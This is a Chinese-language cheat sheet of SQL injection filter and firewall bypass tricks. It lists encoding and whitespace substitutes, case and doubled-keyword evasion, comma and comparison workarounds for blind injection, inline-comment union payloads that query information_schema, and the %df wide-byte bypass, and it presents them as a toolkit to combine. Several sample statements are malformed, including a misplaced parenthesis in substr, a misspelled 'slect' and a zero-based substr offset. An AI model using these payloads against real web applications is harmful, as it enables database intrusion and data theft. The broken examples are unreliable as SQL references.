各种方法综合使用,自己思考
1、用url编码,ascii码,十六进制形式绕过
2、空格绕过:/**/,0,(),<>,%09 TAB键(水平)%0a 新建一行,%0c 新的一页,%0d return功能,%0b TAB键(垂直),%a0 空格
3、用大小写绕过,sEleCt,这样类似的
4、运用重叠拆解:selecselectt,中间的select被过滤后,剩下的就是select
5、逗号绕过
在使用盲注的时候,需要使用到substr() ,mid() ,limit。这些子句方法都需要使用到逗号。 对于substr()和mid()这两个方法可以使用from to的方式来解决。
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
对于limit可以使用offset来绕过。
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
6、比较符(<,>)绕过
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。 如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句。
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来 代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
7、利用注释绕过:/*select*/
8、利用对xss的<过滤进行绕过:sel<ect,联想就是看它会过滤哪些特殊符号,关键字,然后 中间插入这些符号。
9、用||,&&,代替or,and
10、.绕过注释符号(#,--(后面跟一个空格))过滤:
id=1‘ union select 1,2,3||‘1
最后的or ‘1闭合查询语句的最后的单引号,或者:
id=1‘ union select 1,2,‘3
11、=绕过:使用like 、rlike 、regexp 或者 使用< 或者 >
12、内联注释绕过:id=-1‘/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
13、宽字节绕过:%df
14、绕过逗号过滤:limit可以通过 offset 绕过逗号过滤
语句1:select * from student limit 9,4
语句2:slect * from student limit 4 offset 9
// 语句1和2均返回表student的第10、11、12、13行
//语句2中的4表示返回4行,9表示从表的第十行开始